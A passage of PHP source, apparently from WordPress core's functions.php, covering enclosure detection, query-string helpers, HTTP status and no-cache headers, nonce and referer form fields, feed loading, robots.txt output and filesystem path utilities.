$post_links[] = $link_test;
}
}
/**
* Filters the list of enclosure links before querying the database.
*
* Allows for the addition and/or removal of potential enclosures to save
* to postmeta before checking the database for existing enclosures.
*
* @since 4.4.0
*
* @param array $post_links An array of enclosure links.
* @param int $post_ID Post ID.
*/
$post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
foreach ( (array) $post_links as $url ) {
if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
if ( $headers = wp_get_http_headers( $url) ) {
$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
$allowed_types = array( 'video', 'audio' );
// Check to see if we can figure out the mime type from
// the extension
$url_parts = @parse_url( $url );
if ( false !== $url_parts ) {
$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
if ( !empty( $extension ) ) {
foreach ( wp_get_mime_types() as $exts => $mime ) {
if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
$type = $mime;
break;
}
}
}
}
if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
}
}
}
}
}
/**
* Retrieve HTTP Headers from URL.
*
* @since 1.5.1
*
* @param string $url URL to retrieve HTTP headers from.
* @param bool $deprecated Not Used.
* @return bool|string False on failure, headers on success.
*/
function wp_get_http_headers( $url, $deprecated = false ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.7.0' );
$response = wp_safe_remote_head( $url );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_headers( $response );
}
/**
* Determines whether the publish date of the current post in the loop is different
* from the publish date of the previous post in the loop.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 0.71
*
* @global string $currentday The day of the current post in the loop.
* @global string $previousday The day of the previous post in the loop.
*
* @return int 1 when new day, 0 if not a new day.
*/
function is_new_day() {
global $currentday, $previousday;
if ( $currentday != $previousday )
return 1;
else
return 0;
}
/**
* Build URL query based on an associative and, or indexed array.
*
* This is a convenient function for easily building url queries. It sets the
* separator to '&' and uses _http_build_query() function.
*
* @since 2.3.0
*
* @see _http_build_query() Used to build the query
* @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
* http_build_query() does.
*
* @param array $data URL-encode key/value pairs.
* @return string URL-encoded string.
*/
function build_query( $data ) {
return _http_build_query( $data, null, '&', '', false );
}
/**
* From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
*
* @since 3.2.0
* @access private
*
* @see https://secure.php.net/manual/en/function.http-build-query.php
*
* @param array|object $data An array or object of data. Converted to array.
* @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
* Default null.
* @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
* Default null.
* @param string $key Optional. Used to prefix key name. Default empty.
* @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
*
* @return string The query string.
*/
function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
$ret = array();
foreach ( (array) $data as $k => $v ) {
if ( $urlencode)
$k = urlencode($k);
if ( is_int($k) && $prefix != null )
$k = $prefix.$k;
if ( !empty($key) )
$k = $key . '%5B' . $k . '%5D';
if ( $v === null )
continue;
elseif ( $v === false )
$v = '0';
if ( is_array($v) || is_object($v) )
array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
elseif ( $urlencode )
array_push($ret, $k.'='.urlencode($v));
else
array_push($ret, $k.'='.$v);
}
if ( null === $sep )
$sep = ini_get('arg_separator.output');
return implode($sep, $ret);
}
/**
* Retrieves a modified URL query string.
*
* You can rebuild the URL and append query variables to the URL query by using this function.
* There are two ways to use this function; either a single key and value, or an associative array.
*
* Using a single key and value:
*
* add_query_arg( 'key', 'value', 'http://example.com' );
*
* Using an associative array:
*
* add_query_arg( array(
* 'key1' => 'value1',
* 'key2' => 'value2',
* ), 'http://example.com' );
*
* Omitting the URL from either use results in the current URL being used
* (the value of `$_SERVER['REQUEST_URI']`).
*
* Values are expected to be encoded appropriately with urlencode() or rawurlencode().
*
* Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
*
* Important: The return value of add_query_arg() is not escaped by default. Output should be
* late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
* (XSS) attacks.
*
* @since 1.5.0
*
* @param string|array $key Either a query variable key, or an associative array of query variables.
* @param string $value Optional. Either a query variable value, or a URL to act upon.
* @param string $url Optional. A URL to act upon.
* @return string New URL query string (unescaped).
*/
function add_query_arg() {
$args = func_get_args();
if ( is_array( $args[0] ) ) {
if ( count( $args ) < 2 || false === $args[1] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[1];
} else {
if ( count( $args ) < 3 || false === $args[2] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[2];
}
if ( $frag = strstr( $uri, '#' ) )
$uri = substr( $uri, 0, -strlen( $frag ) );
else
$frag = '';
if ( 0 === stripos( $uri, 'http://' ) ) {
$protocol = 'http://';
$uri = substr( $uri, 7 );
} elseif ( 0 === stripos( $uri, 'https://' ) ) {
$protocol = 'https://';
$uri = substr( $uri, 8 );
} else {
$protocol = '';
}
if ( strpos( $uri, '?' ) !== false ) {
list( $base, $query ) = explode( '?', $uri, 2 );
$base .= '?';
} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
$base = $uri . '?';
$query = '';
} else {
$base = '';
$query = $uri;
}
wp_parse_str( $query, $qs );
$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
if ( is_array( $args[0] ) ) {
foreach ( $args[0] as $k => $v ) {
$qs[ $k ] = $v;
}
} else {
$qs[ $args[0] ] = $args[1];
}
foreach ( $qs as $k => $v ) {
if ( $v === false )
unset( $qs[$k] );
}
$ret = build_query( $qs );
$ret = trim( $ret, '?' );
$ret = preg_replace( '#=(&|$)#', '$1', $ret );
$ret = $protocol . $base . $ret . $frag;
$ret = rtrim( $ret, '?' );
return $ret;
}
/**
* Removes an item or items from a query string.
*
* @since 1.5.0
*
* @param string|array $key Query key or keys to remove.
* @param bool|string $query Optional. When false uses the current URL. Default false.
* @return string New URL query string.
*/
function remove_query_arg( $key, $query = false ) {
if ( is_array( $key ) ) { // removing multiple keys
foreach ( $key as $k )
$query = add_query_arg( $k, false, $query );
return $query;
}
return add_query_arg( $key, false, $query );
}
/**
* Returns an array of single-use query variable names that can be removed from a URL.
*
* @since 4.4.0
*
* @return array An array of parameters to remove from the URL.
*/
function wp_removable_query_args() {
$removable_query_args = array(
'activate',
'activated',
'approved',
'deactivate',
'deleted',
'disabled',
'enabled',
'error',
'hotkeys_highlight_first',
'hotkeys_highlight_last',
'locked',
'message',
'same',
'saved',
'settings-updated',
'skipped',
'spammed',
'trashed',
'unspammed',
'untrashed',
'update',
'updated',
'wp-post-new-reload',
);
/**
* Filters the list of query variables to remove.
*
* @since 4.2.0
*
* @param array $removable_query_args An array of query variables to remove from a URL.
*/
return apply_filters( 'removable_query_args', $removable_query_args );
}
/**
* Walks the array while sanitizing the contents.
*
* @since 0.71
*
* @param array $array Array to walk while sanitizing contents.
* @return array Sanitized $array.
*/
function add_magic_quotes( $array ) {
foreach ( (array) $array as $k => $v ) {
if ( is_array( $v ) ) {
$array[$k] = add_magic_quotes( $v );
} else {
$array[$k] = addslashes( $v );
}
}
return $array;
}
/**
* HTTP request for URI to retrieve content.
*
* @since 1.5.1
*
* @see wp_safe_remote_get()
*
* @param string $uri URI/URL of web page to retrieve.
* @return false|string HTTP content. False on failure.
*/
function wp_remote_fopen( $uri ) {
$parsed_url = @parse_url( $uri );
if ( !$parsed_url || !is_array( $parsed_url ) )
return false;
$options = array();
$options['timeout'] = 10;
$response = wp_safe_remote_get( $uri, $options );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_body( $response );
}
/**
* Set up the WordPress query.
*
* @since 2.0.0
*
* @global WP $wp_locale
* @global WP_Query $wp_query
* @global WP_Query $wp_the_query
*
* @param string|array $query_vars Default WP_Query arguments.
*/
function wp( $query_vars = '' ) {
global $wp, $wp_query, $wp_the_query;
$wp->main( $query_vars );
if ( !isset($wp_the_query) )
$wp_the_query = $wp_query;
}
/**
* Retrieve the description for the HTTP status.
*
* @since 2.3.0
*
* @global array $wp_header_to_desc
*
* @param int $code HTTP status code.
* @return string Empty string if not found, or description if found.
*/
function get_status_header_desc( $code ) {
global $wp_header_to_desc;
$code = absint( $code );
if ( !isset( $wp_header_to_desc ) ) {
$wp_header_to_desc = array(
100 => 'Continue',
101 => 'Switching Protocols',
102 => 'Processing',
200 => 'OK',
201 => 'Created',
202 => 'Accepted',
203 => 'Non-Authoritative Information',
204 => 'No Content',
205 => 'Reset Content',
206 => 'Partial Content',
207 => 'Multi-Status',
226 => 'IM Used',
300 => 'Multiple Choices',
301 => 'Moved Permanently',
302 => 'Found',
303 => 'See Other',
304 => 'Not Modified',
305 => 'Use Proxy',
306 => 'Reserved',
307 => 'Temporary Redirect',
308 => 'Permanent Redirect',
400 => 'Bad Request',
401 => 'Unauthorized',
402 => 'Payment Required',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
406 => 'Not Acceptable',
407 => 'Proxy Authentication Required',
408 => 'Request Timeout',
409 => 'Conflict',
410 => 'Gone',
411 => 'Length Required',
412 => 'Precondition Failed',
413 => 'Request Entity Too Large',
414 => 'Request-URI Too Long',
415 => 'Unsupported Media Type',
416 => 'Requested Range Not Satisfiable',
417 => 'Expectation Failed',
418 => 'I\'m a teapot',
421 => 'Misdirected Request',
422 => 'Unprocessable Entity',
423 => 'Locked',
424 => 'Failed Dependency',
426 => 'Upgrade Required',
428 => 'Precondition Required',
429 => 'Too Many Requests',
431 => 'Request Header Fields Too Large',
451 => 'Unavailable For Legal Reasons',
500 => 'Internal Server Error',
501 => 'Not Implemented',
502 => 'Bad Gateway',
503 => 'Service Unavailable',
504 => 'Gateway Timeout',
505 => 'HTTP Version Not Supported',
506 => 'Variant Also Negotiates',
507 => 'Insufficient Storage',
510 => 'Not Extended',
511 => 'Network Authentication Required',
);
}
if ( isset( $wp_header_to_desc[$code] ) )
return $wp_header_to_desc[$code];
else
return '';
}
/**
* Set HTTP status header.
*
* @since 2.0.0
* @since 4.4.0 Added the `$description` parameter.
*
* @see get_status_header_desc()
*
* @param int $code HTTP status code.
* @param string $description Optional. A custom description for the HTTP status.
*/
function status_header( $code, $description = '' ) {
if ( ! $description ) {
$description = get_status_header_desc( $code );
}
if ( empty( $description ) ) {
return;
}
$protocol = wp_get_server_protocol();
$status_header = "$protocol $code $description";
if ( function_exists( 'apply_filters' ) )
/**
* Filters an HTTP status header.
*
* @since 2.2.0
*
* @param string $status_header HTTP status header.
* @param int $code HTTP status code.
* @param string $description Description for the status code.
* @param string $protocol Server protocol.
*/
$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
@header( $status_header, true, $code );
}
/**
* Get the header information to prevent caching.
*
* The several different headers cover the different ways cache prevention
* is handled by different browsers
*
* @since 2.8.0
*
* @return array The associative array of header names and field values.
*/
function wp_get_nocache_headers() {
$headers = array(
'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
);
if ( function_exists('apply_filters') ) {
/**
* Filters the cache-controlling headers.
*
* @since 2.8.0
*
* @see wp_get_nocache_headers()
*
* @param array $headers {
* Header names and field values.
*
* @type string $Expires Expires header.
* @type string $Cache-Control Cache-Control header.
* }
*/
$headers = (array) apply_filters( 'nocache_headers', $headers );
}
$headers['Last-Modified'] = false;
return $headers;
}
/**
* Set the headers to prevent caching for the different browsers.
*
* Different browsers support different nocache headers, so several
* headers must be sent so that all of them get the point that no
* caching should occur.
*
* @since 2.0.0
*
* @see wp_get_nocache_headers()
*/
function nocache_headers() {
$headers = wp_get_nocache_headers();
unset( $headers['Last-Modified'] );
// In PHP 5.3+, make sure we are not sending a Last-Modified header.
if ( function_exists( 'header_remove' ) ) {
@header_remove( 'Last-Modified' );
} else {
// In PHP 5.2, send an empty Last-Modified header, but only as a
// last resort to override a header already sent. #WP23021
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, 'Last-Modified' ) ) {
$headers['Last-Modified'] = '';
break;
}
}
}
foreach ( $headers as $name => $field_value )
@header("{$name}: {$field_value}");
}
/**
* Set the headers for caching for 10 days with JavaScript content type.
*
* @since 2.1.0
*/
function cache_javascript_headers() {
$expiresOffset = 10 * DAY_IN_SECONDS;
header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
header( "Vary: Accept-Encoding" ); // Handle proxies
header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
}
/**
* Retrieve the number of database queries during the WordPress execution.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return int Number of database queries.
*/
function get_num_queries() {
global $wpdb;
return $wpdb->num_queries;
}
/**
* Whether input is yes or no.
*
* Must be 'y' to be true.
*
* @since 1.0.0
*
* @param string $yn Character string containing either 'y' (yes) or 'n' (no).
* @return bool True if yes, false on anything else.
*/
function bool_from_yn( $yn ) {
return ( strtolower( $yn ) == 'y' );
}
/**
* Load the feed template from the use of an action hook.
*
* If the feed action does not have a hook, then the function will die with a
* message telling the visitor that the feed is not valid.
*
* It is better to only have one hook for each feed.
*
* @since 2.1.0
*
* @global WP_Query $wp_query Used to tell if the use a comment feed.
*/
function do_feed() {
global $wp_query;
$feed = get_query_var( 'feed' );
// Remove the pad, if present.
$feed = preg_replace( '/^_+/', '', $feed );
if ( $feed == '' || $feed == 'feed' )
$feed = get_default_feed();
if ( ! has_action( "do_feed_{$feed}" ) ) {
wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
}
/**
* Fires once the given feed is loaded.
*
* The dynamic portion of the hook name, `$feed`, refers to the feed template name.
* Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
*
* @since 2.1.0
* @since 4.4.0 The `$feed` parameter was added.
*
* @param bool $is_comment_feed Whether the feed is a comment feed.
* @param string $feed The feed name.
*/
do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
}
/**
* Load the RDF RSS 0.91 Feed template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rdf() {
load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}
/**
* Load the RSS 1.0 Feed Template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rss() {
load_template( ABSPATH . WPINC . '/feed-rss.php' );
}
/**
* Load either the RSS2 comment feed or the RSS2 posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_rss2( $for_comments ) {
if ( $for_comments )
load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
else
load_template( ABSPATH . WPINC . '/feed-rss2.php' );
}
/**
* Load either Atom comment feed or Atom posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_atom( $for_comments ) {
if ($for_comments)
load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
else
load_template( ABSPATH . WPINC . '/feed-atom.php' );
}
/**
* Display the robots.txt file content.
*
* The echo content should be with usage of the permalinks or for creating the
* robots.txt file.
*
* @since 2.1.0
*/
function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
/**
* Fires when displaying the robots.txt file.
*
* @since 2.1.0
*/
do_action( 'do_robotstxt' );
$output = "User-agent: *\n";
$public = get_option( 'blog_public' );
if ( '0' == $public ) {
$output .= "Disallow: /\n";
} else {
$site_url = parse_url( site_url() );
$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
$output .= "Disallow: $path/wp-admin/\n";
$output .= "Allow: $path/wp-admin/admin-ajax.php\n";
}
/**
* Filters the robots.txt output.
*
* @since 3.0.0
*
* @param string $output Robots.txt output.
* @param bool $public Whether the site is considered "public".
*/
echo apply_filters( 'robots_txt', $output, $public );
}
/**
* Determines whether WordPress is already installed.
*
* The cache will be checked first. If you have a cache plugin, which saves
* the cache values, then this will work. If you use the default WordPress
* cache, and the database goes away, then you might have problems.
*
* Checks for the 'siteurl' option for whether WordPress is installed.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Whether the site is already installed.
*/
function is_blog_installed() {
global $wpdb;
/*
* Check cache first. If options table goes away and we have true
* cached, oh well.
*/
if ( wp_cache_get( 'is_blog_installed' ) )
return true;
$suppress = $wpdb->suppress_errors();
if ( ! wp_installing() ) {
$alloptions = wp_load_alloptions();
}
// If siteurl is not set to autoload, check it specifically
if ( !isset( $alloptions['siteurl'] ) )
$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
else
$installed = $alloptions['siteurl'];
$wpdb->suppress_errors( $suppress );
$installed = !empty( $installed );
wp_cache_set( 'is_blog_installed', $installed );
if ( $installed )
return true;
// If visiting repair.php, return true and let it take over.
if ( defined( 'WP_REPAIRING' ) )
return true;
$suppress = $wpdb->suppress_errors();
/*
* Loop over the WP tables. If none exist, then scratch installation is allowed.
* If one or more exist, suggest table repair since we got here because the
* options table could not be accessed.
*/
$wp_tables = $wpdb->tables();
foreach ( $wp_tables as $table ) {
// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
continue;
if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
continue;
if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
continue;
// One or more tables exist. We are insane.
wp_load_translations_early();
// Die with a DB error.
$wpdb->error = sprintf(
/* translators: %s: database repair URL */
__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
'maint/repair.php?referrer=is_blog_installed'
);
dead_db();
}
$wpdb->suppress_errors( $suppress );
wp_cache_set( 'is_blog_installed', false );
return false;
}
/**
* Retrieve URL with nonce added to URL query.
*
* @since 2.0.4
*
* @param string $actionurl URL to add nonce action.
* @param int|string $action Optional. Nonce action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @return string Escaped URL with nonce action added.
*/
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
$actionurl = str_replace( '&', '&', $actionurl );
return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}
/**
* Retrieve or display nonce hidden field for forms.
*
* The nonce field is used to validate that the contents of the form came from
* the location on the current site and not somewhere else. The nonce does not
* offer absolute protection, but should protect against most cases. It is very
* important to use nonce field in forms.
*
* The $action and $name are optional, but if you want to have better security,
* it is strongly suggested to set those two parameters. It is easier to just
* call the function without any parameters, because validation of the nonce
* doesn't require any parameters, but since crackers know what the default is
* it won't be difficult for them to find a way around your nonce and cause
* damage.
*
* The input name will be whatever $name value you gave. The input value will be
* the nonce creation value.
*
* @since 2.0.4
*
* @param int|string $action Optional. Action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @param bool $referer Optional. Whether to set the referer field for validation. Default true.
* @param bool $echo Optional. Whether to display or return hidden form field. Default true.
* @return string Nonce field HTML markup.
*/
function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
$name = esc_attr( $name );
$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
if ( $referer )
$nonce_field .= wp_referer_field( false );
if ( $echo )
echo $nonce_field;
return $nonce_field;
}
/**
* Retrieve or display referer hidden field for forms.
*
* The referer link is the current Request URI from the server super global. The
* input name is '_wp_http_referer', in case you wanted to check manually.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo or return the referer field. Default true.
* @return string Referer field HTML markup.
*/
function wp_referer_field( $echo = true ) {
$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
if ( $echo )
echo $referer_field;
return $referer_field;
}
/**
* Retrieve or display original referer hidden field for forms.
*
* The input name is '_wp_original_http_referer' and will be either the same
* value of wp_referer_field(), if that was posted already or it will be the
* current page, if it doesn't exist.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo the original http referer. Default true.
* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
* Default 'current'.
* @return string Original referer field.
*/
function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
if ( ! $ref = wp_get_original_referer() ) {
$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
}
$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
if ( $echo )
echo $orig_referer_field;
return $orig_referer_field;
}
/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return false|string False on failure. Referer URL on success.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) ) {
return false;
}
$ref = wp_get_raw_referer();
if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
return wp_validate_redirect( $ref, false );
}
return false;
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use wp_get_referer() instead.
*
* @since 4.5.0
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_raw_referer() {
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
return wp_unslash( $_REQUEST['_wp_http_referer'] );
} else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
return wp_unslash( $_SERVER['HTTP_REFERER'] );
}
return false;
}
/**
* Retrieve original referer that was posted, if it exists.
*
* @since 2.0.4
*
* @return string|false False if no original referer or original referer if set.
*/
function wp_get_original_referer() {
if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
return false;
}
/**
* Recursive directory creation based on full path.
*
* Will attempt to set permissions on folders.
*
* @since 2.0.1
*
* @param string $target Full path to attempt to create.
* @return bool Whether the path was created. True if path already exists.
*/
function wp_mkdir_p( $target ) {
$wrapper = null;
// Strip the protocol.
if ( wp_is_stream( $target ) ) {
list( $wrapper, $target ) = explode( '://', $target, 2 );
}
// From php.net/mkdir user contributed notes.
$target = str_replace( '//', '/', $target );
// Put the wrapper back on the target.
if ( $wrapper !== null ) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim($target, '/');
if ( empty($target) )
$target = '/';
if ( file_exists( $target ) )
return @is_dir( $target );
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname( $target );
while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
$target_parent = dirname( $target_parent );
}
// Get the permission bits.
if ( $stat = @stat( $target_parent ) ) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if ( @mkdir( $target, $dir_perms, true ) ) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
}
}
return true;
}
return false;
}
/**
* Test if a given filesystem path is absolute.
*
* For example, '/foo/bar', or 'c:\windows'.
*
* @since 2.5.0
*
* @param string $path File path.
* @return bool True if path is absolute, false is not absolute.
*/
function path_is_absolute( $path ) {
/*
* This is definitive if true but fails if $path does not exist or contains
* a symbolic link.
*/
if ( realpath($path) == $path )
return true;
if ( strlen($path) == 0 || $path[0] == '.' )
return false;
// Windows allows absolute paths like this.
if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
return true;
// A path starting with / or \ is absolute; anything else is relative.
return ( $path[0] == '/' || $path[0] == '\\' );
}
/**
* Join two filesystem paths together.
*
* For example, 'give me $path relative to $base'. If the $path is absolute,
* then it the full path is returned.
*
* @since 2.5.0
*
* @param string $base Base path.
* @param string $path Path relative to $base.
* @return string The path with the base or absolute path.
*/
function path_join( $base, $path ) {
if ( path_is_absolute($path) )
return $path;
return rtrim($base, '/') . '/' . ltrim($path, '/');
}
/**
* Normalize a filesystem path.
*
* On windows systems, replaces backslashes with forward slashes
* and forces upper-case drive letters.
* Allows for two leading slashes for Windows network shares, but
* ensures that all other duplicate slashes are reduced to a single.
*
* @since 3.9.0
* @since 4.4.0 Ensures upper-case drive letters on Windows systems.
* @since 4.5.0 Allows for Windows network shares.
* @since 4.9.7 Allows for PHP file wrappers.
*
* @param string $path Path to normalize.
* @return string Normalized path.
*/
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardise all paths to use /
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
/**
* Determine a writable directory for temporary files.
*
* Function's preference is the return value of sys_get_temp_dir(),
* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
* before finally defaulting to /tmp/
*
* In the event that this function does not find a writable location,
* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
*
* @since 2.5.0
*
* @staticvar string $temp
*
* @return string Writable temporary directory.
*/
function get_temp_dir() {
static $temp = '';
if ( defined('WP_TEMP_DIR') )
return trailingslashit(WP_TEMP_DIR);
if ( $temp )
return trailingslashit( $temp );
if ( function_exists('sys_get_temp_dir') ) {
$temp = sys_get_temp_dir();
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
}
$temp = ini_get('upload_tmp_dir');
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
$temp = WP_CONTENT_DIR . '/';
if ( is_dir( $temp ) && wp_is_writable( $temp ) )
return $temp;
return '/tmp/';
}
/**
* Determine if a directory is writable.
*
* This function is used to work around certain ACL issues in PHP primarily
* affecting Windows Servers.
*
* @since 3.6.0
*
* @see win_is_writable()
*
* @param string $path Path to check for write-ability.
* @return bool Whether the path is writable.
*/
function wp_is_writable( $path ) {
if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
return win_is_writable( $path );
else
return @is_writable( $path );
}
/**
* Workaround for Windows bug in is_writable() function
*
* PHP has issues with Windows ACL's for determine if a
* directory is writable or not, this works around them by
* checking the ability to open files rather than relying
* upon PHP to interprate the OS ACL.
*
* @since 2.8.0
*
* @see https://bugs.php.net/bug.php?id=27609
* @see https://bugs.php.net/bug.php?id=30931
*
* @param string $path Windows path to check for write-ability.
* @return bool Whether the path is writable.
*/
function win_is_writable( $path ) {
if ( $path[strlen( $path ) - 1] == '/' ) { // if it looks like a directory, check a random file within the directory
return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
} elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
}
// check tmp file for read/write capabilities
$should_delete_tmp_file = !file_exists( $path );
$f = @fopen( $path, 'a' );
if ( $f === false )
return false;
fclose( $f );
if ( $should_delete_tmp_file )
unlink( $path );
return true;
}
/**
* Retrieves uploads directory information.
*
* Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
* Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
* when not uploading files.
*
* @since 4.5.0
*
* @see wp_upload_dir()
*
* @return array See wp_upload_dir() for description.
*/
function wp_get_upload_dir() {
return wp_upload_dir( null, false );
}
/**
* Get an array containing the current upload directory's path and url.
*
* Checks the 'upload_path' option, which should be from the web root folder,
* and if it isn't empty it will be used. If it is empty, then the path will be
* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
*
* The upload URL path is set either by the 'upload_url_path' option or by using
* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
*
* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
* the administration settings panel), then the time will be used. The format
* will be year first and then month.
*
* If the path couldn't be created, then an error will be returned with the key
* 'error' containing the error message. The error suggests that the parent
* directory is not writable by the server.
*
* On success, the returned array will have many indices:
* 'path' - base directory and sub directory or full path to upload directory.
* 'url' - base url and sub directory or absolute URL to upload directory.
* 'subdir' - sub directory if uploads use year/month folders option is on.
* 'basedir' - path without subdir.
* 'baseurl' - URL path without subdir.
* 'error' - false or error message.
*
* @since 2.0.0
* @uses _wp_upload_dir()
*
* @staticvar array $cache
* @staticvar array $tested_paths
*
